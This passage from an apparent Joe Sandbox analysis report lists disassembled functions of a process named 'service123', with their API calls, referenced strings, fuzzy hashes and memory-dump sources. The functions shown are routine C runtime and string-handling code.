Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: FormatFreeLocalMessage
String ID: Unknown error code$basic_string: construction from null is not valid
API String ID: 1427518018-3299438129
Opcode ID: 9cce1429f89c2893c643b17737385a964a5cec8bad7b6b03efe0ac4ceae65a4b
Instruction ID: 5667ec0703ae229daaf090dd970b200bcb0d41a22bf099d687ad706497f1fb7c
Opcode Fuzzy Hash: 9cce1429f89c2893c643b17737385a964a5cec8bad7b6b03efe0ac4ceae65a4b
Instruction Fuzzy Hash: 69416AB19057089BCB20AF68C68929EFBF4FF85754F408C2CE48497B10E33495498BE3

Function 6C7B3659 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C7B3567
fputc.MSVCRT ref: 6C7B35D7
memset.MSVCRT ref: 6C7B3692

Strings

o, xrefs: 6C7B369A
0, xrefs: 6C7B3687

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: 0$o
API String ID: 2944404495-4157579757
Opcode ID: 4e5d1ba6c8a4e8df9e646095398d9879c6dbcde4af08328c22bcc6dcc1e4ca11
Instruction ID: 00861c092971740e0f9cdaa3645307971b77ad37045e8b09f324239e90884ab2
Opcode Fuzzy Hash: 4e5d1ba6c8a4e8df9e646095398d9879c6dbcde4af08328c22bcc6dcc1e4ca11
Instruction Fuzzy Hash: 4D314A71A087158BCB00CF69C2C47AAB7F1BF48314F158629D995BBB41EB38E885CB50

Function 00952F89 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00952E97
fputc.MSVCRT ref: 00952F07
memset.MSVCRT ref: 00952FC2

Strings

o, xrefs: 00952FCA
0, xrefs: 00952FB7

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: 0$o
API String ID: 2944404495-4157579757
Opcode ID: 448672419a6aefb592f870ea4cfb86913ff9ea238fa630640188f8821d0f5d8b
Instruction ID: cda9916659a51adfbc68aa95da85edc74e8f02ddc840a6c06b535656fe355362
Opcode Fuzzy Hash: 448672419a6aefb592f870ea4cfb86913ff9ea238fa630640188f8821d0f5d8b
Instruction Fuzzy Hash: B2316971A04305CBCB10CF6AC0857AABBF5BF5A351F148929DD89AB381D338E908CB50

Function 6C7A9490 Relevance: 7.9, APIs: 4, Strings: 1, Instructions: 375stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 6C7A94C2
strlen.MSVCRT ref: 6C7A9616

Strings

_GLOBAL_, xrefs: 6C7A94B7

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlenstrncmp
String ID: _GLOBAL_
API String ID: 1310274236-770460502
Opcode ID: 29ce833622232c3b3691fe43efe7a93e543fa8590a36a34072c830c337558c9b
Instruction ID: 363b5d29bda9d306330e990d3a6c86cf0286871ae150a6060ee0c90152603dc1
Opcode Fuzzy Hash: 29ce833622232c3b3691fe43efe7a93e543fa8590a36a34072c830c337558c9b
Instruction Fuzzy Hash: FDF1B170D052188FEB10CFA9C9943DDBBF1AF56308F1442EAC458AB745D7769A9ACF80

Function 6C81DAB0 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 229COMMON

Download Yara Rule

APIs

Part of subcall function 6C83F8C0: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C81DA2E), ref: 6C83F95D
Part of subcall function 6C83F8C0: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C81DA2E), ref: 6C83F988

memcpy.MSVCRT ref: 6C81DCB5

Part of subcall function 6C842530: memcpy.MSVCRT(?,-00000001,?,6C7C749E,?,?,?,?,?,?,?,?,?,?,?,6C7C8E25), ref: 6C84256C

Strings

Unknown error, xrefs: 6C81DB08
iostream error, xrefs: 6C81DD08
basic_string::append, xrefs: 6C81DDB2, 6C81DDBE

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy$memmove
String ID: Unknown error$basic_string::append$iostream error
API String ID: 1283327689-1474074352
Opcode ID: 75fb2a1a9c2bcf199af6a2d377fddf36a1037d1ee31c72b6fe930fdf134f4019
Instruction ID: b54b16808c658af0e38fdcc01cecff8424c9608e6589ac68bafab5a03f1708d8
Opcode Fuzzy Hash: 75fb2a1a9c2bcf199af6a2d377fddf36a1037d1ee31c72b6fe930fdf134f4019
Instruction Fuzzy Hash: 9EA12671D08319CBCB20DFA8C68469DBBF1BF45314F21892ED895ABB50E730A945CF82

Function 6C80BF60 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 216COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C80C03F
memcpy.MSVCRT ref: 6C80C099
memcpy.MSVCRT ref: 6C80C127

Part of subcall function 6C80C500: memcpy.MSVCRT ref: 6C80C58C

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C80C1B3
basic_string::replace, xrefs: 6C80C194, 6C80C1A7

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::replace
API String ID: 3510742995-3564965661
Opcode ID: 6a310783c7e515fbcbda942cdeccdcf988615d45491f64d46a083bdbde58f232
Instruction ID: 7042aef36bffcb8adbf32acc363a1a36ce221f7fd2d1bc8fb8a7646938c25565
Opcode Fuzzy Hash: 6a310783c7e515fbcbda942cdeccdcf988615d45491f64d46a083bdbde58f232
Instruction Fuzzy Hash: EC813771A056159FCB10EF2CCA8069EBBF1FF88714F11892DE89897711E731D944CBA2

Function 6C815000 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C8150D0
memcpy.MSVCRT ref: 6C815124
memcpy.MSVCRT ref: 6C8151B8

Part of subcall function 6C815590: memcpy.MSVCRT ref: 6C815620

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C815248
basic_string::replace, xrefs: 6C815229, 6C81523C

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::replace
API String ID: 3510742995-3564965661
Opcode ID: 4505b94c9d5c9f5ff1a93d91281cf022dd7b3d005c831c663e54f63fed7b7a65
Instruction ID: 21991effb0a53fa70c6b6f60289c7f981eb2526d7783e2004d61e65dc97fb130
Opcode Fuzzy Hash: 4505b94c9d5c9f5ff1a93d91281cf022dd7b3d005c831c663e54f63fed7b7a65
Instruction Fuzzy Hash: 5D814771A093069FCB10DF6CC68459EBBF1AF89354F50892EE899D7B10E331D944CB92

Function 6C81D810 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 153stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C83F8C0: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C81DA2E), ref: 6C83F95D
Part of subcall function 6C83F8C0: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C81DA2E), ref: 6C83F988

strlen.MSVCRT ref: 6C81D8E5
memcpy.MSVCRT ref: 6C81D9BE

Strings

Unknown error, xrefs: 6C81D85E
iostream error, xrefs: 6C81DA12

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy$memmovestrlen
String ID: Unknown error$iostream error
API String ID: 1234831610-3609051425
Opcode ID: fe9be0d8e464cdc3a2d09a3dc9c5cc46a2b093b1ce12b036ec9f560738f030c5
Instruction ID: 8feb4289c95374006364f3b9f5c0453379046467fd8658d52baf613fcf3497cd
Opcode Fuzzy Hash: fe9be0d8e464cdc3a2d09a3dc9c5cc46a2b093b1ce12b036ec9f560738f030c5
Instruction Fuzzy Hash: EA61D1B0908319DFCB14DFA8C18479EBBF1BF88314F10892ED8989B755E7749849CB92

Function 6C7AF840 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C7AF85F
ReleaseSemaphore.KERNEL32 ref: 6C7AF8E3

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: ReleaseSemaphoremalloc
String ID:
API String ID: 755742884-0
Opcode ID: c3e8e0342d3c47843f6eb88d2044ce66d1d4595756a9a2fa4ac970a40978458b
Instruction ID: e2aa83067f81fd621ed9a877c76a72ceff9c851b1ff8864eafad07a58a7aa354
Opcode Fuzzy Hash: c3e8e0342d3c47843f6eb88d2044ce66d1d4595756a9a2fa4ac970a40978458b
Instruction Fuzzy Hash: 59313870609301DFDB20AF69C64870A7BF0BB4632CF15867DD89897280E335D646CBE2

Function 6C7AFCE0 Relevance: 7.6, APIs: 5, Instructions: 78synchronizationCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C7AFCEC
ReleaseSemaphore.KERNEL32 ref: 6C7AFD7C
CreateSemaphoreW.KERNEL32 ref: 6C7AFDC7
WaitForSingleObject.KERNEL32 ref: 6C7AFE10

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWaitmalloc
String ID:
API String ID: 2768075653-0
Opcode ID: 114ca481dcfd0017782de061e38734468d6a90571f484f1593248bb57ff9f594
Instruction ID: 1b20c3fbac4d5671bdd4dc163a494e331bb2e495bad90e7af8b05e95d289cf0f
Opcode Fuzzy Hash: 114ca481dcfd0017782de061e38734468d6a90571f484f1593248bb57ff9f594
Instruction Fuzzy Hash: B231F67060A201CFDB21AF69C65870A7BF5BB4632CF118679D9588B680E335D646CFE2

Function 6C868520 Relevance: 7.6, APIs: 5, Instructions: 64stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C868535
strlen.MSVCRT ref: 6C868583
memcpy.MSVCRT ref: 6C8685A0
setlocale.MSVCRT ref: 6C8685B4
setlocale.MSVCRT ref: 6C8685EA

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: f8af775031932045296904085471528f4b1a7b05db817b74e0f8254e2ec51035
Instruction ID: 44d4db308b7e519b523776e66c51d794cbb8a7d1a3236fbc317b729495fd81d9
Opcode Fuzzy Hash: f8af775031932045296904085471528f4b1a7b05db817b74e0f8254e2ec51035
Instruction Fuzzy Hash: CF21C2B46093509FD340EF29D68865EFBE0BF98258F458D6EE5D897701E338C944CB82

Function 6C7B9530 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

_lock.MSVCRT ref: 6C7B9549
_unlock.MSVCRT ref: 6C7B9571
calloc.MSVCRT ref: 6C7B95BF

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: _lock_unlockcalloc
String ID:
API String ID: 3876498383-0
Opcode ID: 2d85fe9eb4c66546544eacb675d5450fb1bd51e5c271a4006a92a239dbcf87c3
Instruction ID: 54a646a6a05e66fde692cf9703f6f5de255734675c6cc542d4a4d883a0340f6e
Opcode Fuzzy Hash: 2d85fe9eb4c66546544eacb675d5450fb1bd51e5c271a4006a92a239dbcf87c3
Instruction Fuzzy Hash: 80114C715042118FD7409F28C6C8796BBF0BFA5344F158569D8A8EF785EB34D844CBA2

Function 6C7B0290 Relevance: 7.5, APIs: 5, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6C7B02BC
TlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C7B04DE), ref: 6C7B02CA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C7B04DE), ref: 6C7B0300

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: AllocCreateErrorLastSemaphore
String ID:
API String ID: 2256031600-0
Opcode ID: 56bd60582a430f8626048cbfcc9226e9b377bfa2eabd536c5cb0c77c2ae59b92
Instruction ID: ed9408cee47a36654856eb229247d4d925102a43865f3070f4ae6a302a528842
Opcode Fuzzy Hash: 56bd60582a430f8626048cbfcc9226e9b377bfa2eabd536c5cb0c77c2ae59b92
Instruction Fuzzy Hash: 05F0BDB0509641DBD7207F68C65D35A7AB0BB5332CF508AACE0B997690E7358508CB92

Function 6C7B52CA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 242COMMON

Download Yara Rule

Strings

@, xrefs: 6C7B4D17
(null), xrefs: 6C7B52F7

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: (null)$@
API String ID: 0-1380778734
Opcode ID: 2165d8779e62bafc822e92969134f8be81574c59751539a5aca7831b88a6b14e
Instruction ID: 7d457a26cb91ba80670ece39a15f3734d2ec98b06898715097f662f10d0a6938
Opcode Fuzzy Hash: 2165d8779e62bafc822e92969134f8be81574c59751539a5aca7831b88a6b14e
Instruction Fuzzy Hash: 22A1AE7160C3958BD7608F28D29439BBBE1BF85708F148A2DE9DCA7741D734E50ADB82

Function 00954BFA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 242COMMON

Download Yara Rule

Strings

@, xrefs: 00954647
(null), xrefs: 00954C27

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID:
String ID: (null)$@
API String ID: 0-1380778734
Opcode ID: 50d2e4ca2f655e9eb213a35217a1c35ca68d24c4e5135a01859d9cf59cd46911
Instruction ID: 1c2117e7f7f47ddc3f7d2a72338d1292c497e673f90d5b582b9bdc0ae505d267
Opcode Fuzzy Hash: 50d2e4ca2f655e9eb213a35217a1c35ca68d24c4e5135a01859d9cf59cd46911
Instruction Fuzzy Hash: 4CA18F315083558BC761CF26D0803AAB7E5BB8531AF148A1DECD997382E735D98EDB82

Function 00951B00 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 211COMMON

Download Yara Rule

Strings

Unknown pseudo relocation protocol version %d., xrefs: 00951DF3
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00951C20
Unknown pseudo relocation bit size %d., xrefs: 00951C6D

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 0-1286557213
Opcode ID: b8d63e8045446c2b6ed46540589ce8a3ba36cf598811f74746cb7af7e5a8a4c8
Instruction ID: 8682e38cb6e39d3346721e329eb27d6193f9b3dcfc3123ed187d3355db4b430a
Opcode Fuzzy Hash: b8d63e8045446c2b6ed46540589ce8a3ba36cf598811f74746cb7af7e5a8a4c8
Instruction Fuzzy Hash: 5381A371A147058BCB20DF2BD89075AB7F5FF85352F148A29DC94A7394E331E818CB96

Function 6C7AA850 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 187COMMON

Download Yara Rule

Strings

%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 6C7AA970
Unknown pseudo relocation bit size %d., xrefs: 6C7AA9BD
Unknown pseudo relocation protocol version %d., xrefs: 6C7AAB43

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 0-1286557213
Opcode ID: 31eee9409dc3d096ec397ba199c86519907b82c536b318c04fb1a3e2a1ad6d24
Instruction ID: 4d4aea2eee4b82c3d4639bf8aad62d1d2f528f44c5469bb1aaa8c38b180e524d
Opcode Fuzzy Hash: 31eee9409dc3d096ec397ba199c86519907b82c536b318c04fb1a3e2a1ad6d24
Instruction Fuzzy Hash: 92718732A052568BCB20CFD9CA8479EB7F0FF45328F158A29D955A7B15D330E846CF91

Function 6C7B9128 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C7B9142
strchr.MSVCRT ref: 6C7B9152
atoi.MSVCRT ref: 6C7B9163

Strings

., xrefs: 6C7B9147

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
